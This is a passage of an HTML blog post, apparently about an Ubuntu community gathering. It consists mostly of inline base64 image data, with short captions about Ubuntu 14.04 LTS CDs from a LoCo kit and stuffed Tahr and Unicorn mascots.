mj10UumhAKLXQ1GizTQmBKqDXEV6BUhHoFDSKADQgaADaGKKQaNSKAPFUWTQ3TRRp0AA0ssxSIGnC0TSJIcUChKVRaKETQANFK2xupEwKc7NgqISkSTuHP8tNZOkTupMlQVfXyUJUtRhKRJP5cz3VTW1+2K31RJS2D2Uzv71cyeW4VpK72RSWHW1QpbjZBOmhjQJ03DTXjHlWULy1KVKQfWSSk+I0pwaewpILQqtCdEuN52kCZKeyfDhPlWeAasnobxaHFNk+sJHlvqc1aIplydJV5ltLlR/0V/I76wk5vNbc6XrmMOulaGWo79SNf131h9Row8MlM8VQEGjQmgFFaaKQ9Jr2aIS5QwafAA5rwprzrKAt2ogCWqk61TXi1VwqQwTaa3X0W7P8AU2ds0RBDSVK+8oSfOsYbFYN11wwz9txIP3QZVz4A+U1vvDWwEpHAACT4afCKx53VIugYHy0E17XVeVniam/R3i4SooO5QEaTBB/KvK6h8MCzkmvTXldVFWWnFNeqaFeV1ITC1W9FqtByrq6oMGRPbDsp8fnFQtu4I1BI8K6urTDggx4w/aV4ftFeBM/Onq36QXEiSEqHhFdXUNCFDfS8gGFNrTzKSCKhW0G1yVrUpCTCjIzV1dUulAR25xZZ4x4Ukrq6gAQNepXXldUkAIGvFV5XVEBfZMcTupzbXQa6gA/ru+jE3J5murqEA97OtuOLS0gZlKMJTIGp71QAKc9p33rRwtBxSXEgZihREEiYBnWOdeV1Vt0yUQvCenDEWT9Xf3Se4uqUPcokVPcF9MvFmoBuQ4P/ADWkK95GUn315XVY0iKbJ3g3p/XggO21u7zy52z7u0Plu76nOB+n+x+1sXU8y2tKx7lZTXldUY4oS3oakyxMA9NjC3YBNw2THrMqMeaM1WZgPTHZvx1bxM8C06n5oj411dVE8US1Mk7GJpVqDp4H8qXNu11dWMkDz12aurqAPQquC6FXUkrA9Cq9C66upgCQ9RrOJrB0UoeBNeV1KwHG32weTudV5mfnTpb9JL49pKvEflXV1KwQ523Sy4N7aTzgxTpb9LKPabUPOa9rqbYNDpa9JTKvtDyP5U8Wu1Da9yj5pV+VeV1WEGhwbvknj8/yo4KryupsAwV2avK6mQPZrya6upMaAuORVadIPS2GJabBU73ghKZ4ndPgD515XVGRKCtlDYzji3llbiionnuHcBwA5Cm9S69rqy2aClel7p/TbFdtbjPcjsrWoENtE7tCB1ihw9nvO6s4XDzj61OurU64oypSzJJ/AcgIA4AV7XVuikkqM8n2HFi1AFDUaFXVNlQSs0URXV1IbClKolddXVaTQWo0WDXV1IgzjQZrq6mDAg0ag15XUCDQmhhVdXUDQB00A17XUAwAFLrQ11dQIcE0IiurqTGg+zt5IHE6Dh8T+VWZgGBJaTqZcUIUqPgnkPHX4V1dUJlqHPqqyx0xYIGrt2PVXDg8VTPxFe11LFyKXBBTTzsriJbdbWOCgPfvryurUVFzdL2Izhlx3hI8iRp5fqax2pVdXUYiUziugE17XVeyo4UKa6upAeFVAXXldUkB4kUIChV1MC1vRtwrPftkgENNrX5xAj3mtkr9365V7XVzs/zGrHwf/9k=" width="320" /><br />
<br />
<i>Note: These represent just the tip of the iceberg. But, they completely-disappeared within 20 minutes....:) </i><br />
<br />
<br />
2) A lot of Ubuntu 14.04 LTS CDs (From LoCo kit, thanks Canonical!) with *pretty* stuffed Tahr and Unicorn (owner: Shibata Mitsuya). <br />
<br />
<br />
<img alt="" height="240" src="data:;base64,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